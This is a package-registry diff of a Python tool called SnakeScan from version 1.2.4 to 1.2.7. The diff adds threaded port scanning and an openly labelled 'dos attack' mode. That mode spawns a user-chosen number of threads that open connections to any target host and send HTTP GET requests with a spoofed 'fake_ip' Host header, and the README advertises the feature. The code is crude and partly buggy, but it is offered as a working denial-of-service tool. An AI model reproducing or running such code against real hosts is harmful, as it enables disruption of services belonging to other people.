SnakeScan 1.2.4__tar.gz → 1.2.7__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: SnakeScan
3
- Version: 1.2.4
3
+ Version: 1.2.7
4
4
  Summary: Module SnakeScan
5
5
  Author: Den*Ram
6
6
  Description-Content-Type: text/markdown
@@ -26,5 +26,9 @@ requires-python=>3.9
26
26
 
27
27
  added new check all port search:
28
28
  [$]Port--> --a
29
+ added new check all port using thread:
30
+ [$]Port--> --t
31
+ added new dos attack:
32
+ [$]Host-->https://example.com --d
29
33
 
30
34
 
@@ -14,5 +14,9 @@ requires-python=>3.9
14
14
 
15
15
  added new check all port search:
16
16
  [$]Port--> --a
17
+ added new check all port using thread:
18
+ [$]Port--> --t
19
+ added new dos attack:
20
+ [$]Host-->https://example.com --d
17
21
 
18
22
 
@@ -1,14 +1,18 @@
1
1
  """Module SnakeScan"""
2
- __version__="1.2.4"
2
+ __version__="1.2.7"
3
3
  import socket
4
4
  from art import tprint
5
5
  from datetime import datetime
6
6
  from tqdm import tqdm
7
7
  from termcolor import colored
8
+ from threading import Thread
8
9
  portsopen=0
9
10
  portsclosed=0
10
11
  Run_now=True
11
12
  Bool=True
13
+ boolsd=False
14
+ global num
15
+ num=0
12
16
  boolean=0
13
17
  OpenPorts=[]
14
18
  ports = {
@@ -33,13 +37,91 @@ def is_port_open(host,port):
33
37
  else:
34
38
  s.close()
35
39
  return True
40
+ def is_port_open_threads(host,port):
41
+ s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
42
+ try:
43
+ #Connecting...
44
+ s.connect((host,port))
45
+ #Port//(Closed<--or-->Open)
46
+ except:
47
+ s.close()
48
+ try:
49
+ print(f"Closed{colored('|X|','red')}-->{ports[all]}|{all}|")
50
+ except:
51
+ print(f"Closed{colored('|X|','red')}-->|{all}|")
52
+ finally:
53
+ s.close()
54
+ else:
55
+ print(f"Open{colored('|√|','green')}-->{ports[all]}|{all}|")
56
+ def dos_threads(host,port,fake_ip):
57
+ s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
58
+ #Connect
59
+ try:
60
+ s.connect((host,port))
61
+ s.sendto(("GET /"+host+"HTTP/1.1\r\n").encode("ascii"),(host,port))
62
+ s.sendto(("Host: "+fake_ip+"\r\n\r\n").encode("ascii"),(host,port))
63
+ s.close()
64
+ return False
65
+ except:
66
+ s.close()
67
+ return True
36
68
  print("–"*60)
37
69
  tprint("SnakeScan")
38
70
  print("–"*60)
39
- print(f"{__version__}".rjust(60))
71
+ print(f"Release:{__version__}".rjust(60))
40
72
  print(f"Skip{colored('|*|','blue')}Error: {colored('Host','green')}{colored('[X]:Error','red')} {colored('|$|','green')} {colored('Port','green')}{colored('[X]:Error','red')}")
41
73
  while Run_now:
42
74
  host=input(f"{colored('[$]','green')}Host-->")
75
+ if "--d" in host:
76
+ boolsd=True
77
+ if "http://" in host:
78
+ host=host.strip("http://").strip("--d")
79
+ for i in range(len(host)-1):
80
+ if host[i] == "/":
81
+ host=host[0:i]
82
+ elif "https://" in host:
83
+ host=host.strip("https://").strip("--d")
84
+ for i in range(len(host)-1):
85
+ if host[i] == "/":
86
+ host=host[0:i]
87
+ try:
88
+ host=socket.gethostbyname(host)
89
+ except:
90
+ print("Host is not avaible")
91
+ continue
92
+ finally:
93
+ if boolsd:
94
+ host=host+""+"--d"
95
+ if "--d" in host:
96
+ host=host.strip("--d").strip()
97
+ try:
98
+ threadsnum=int(input(f"{colored('[$]','green')}Threads-->"))
99
+ dos_port=int(input(f"{colored('[$]','green')}Port-->"))
100
+ fake_ip=input(f"{colored('[$]','green')}Fake_ip-->")
101
+ except:
102
+ while True:
103
+ print(f"{colored('|Threads|Port|','green')}{colored('[X]:Invalid value','red')}")
104
+
105
+ try:
106
+ threadsnum=int(input(f"{colored('[$]','green')}Threads-->"))
107
+ dos_port=int(input(f"{colored('[$]','green')}Port-->"))
108
+ fake_ip=input(f"{colored('[$]','green')}Fake_ip-->")
109
+
110
+ except:
111
+ continue
112
+ if threadsnum:
113
+ break
114
+ for dos in range(0,threadsnum):
115
+ num+=1
116
+ t=Thread(target=dos_threads,kwargs={"host":host,"port":dos_port,"fake_ip":fake_ip})
117
+ t.start()
118
+ t.join()
119
+ if dos_threads(host,dos_port,fake_ip):
120
+ print("Host or Port not avaible")
121
+ else:
122
+ print("Dos-Information".center(60,"-"))
123
+ print(f"{colored('[$]','green')}Threads--> {num} GET/{host}:{dos_port} HTTP/1.1")
124
+ continue
43
125
  if host == "Exit" or host == "exit":
44
126
  break
45
127
  if host == "":
@@ -64,6 +146,12 @@ while Run_now:
64
146
  try:
65
147
  length=int(port_user)
66
148
  except:
149
+ if "--t" in str(port_user):
150
+ print(f"Thread".center(60,"-"))
151
+ for all in ports.keys():
152
+ t=Thread(target=is_port_open_threads,kwargs={"host":host,"port":all})
153
+ t.start()
154
+ t.join()
67
155
  if "--a" in str(port_user):
68
156
  print(f"Check All Ports".center(60,"-"))
69
157
  for all in ports.keys():
@@ -76,7 +164,6 @@ while Run_now:
76
164
  print(f"Closed{colored('|X|','red')}-->|{all}|")
77
165
  continue
78
166
  if "--s" in str(port_user):
79
- print(f"{socket.gethostbyname(socket.gethostname())}-->{host}:")
80
167
  port_user=port_single.strip().strip("--s")[1:len(port_user)]
81
168
  for i in range(len(port_user)):
82
169
  if port_user[i] == " ":
@@ -98,6 +185,9 @@ while Run_now:
98
185
  continue
99
186
 
100
187
  else:
188
+ if "--t" in port_user:
189
+ t.join()
190
+ continue
101
191
  port_user="100"
102
192
  print(f"{colored('[!]','red')}Port:invalid value")
103
193
  for i in range(0,len(port_user)):
File without changes
File without changes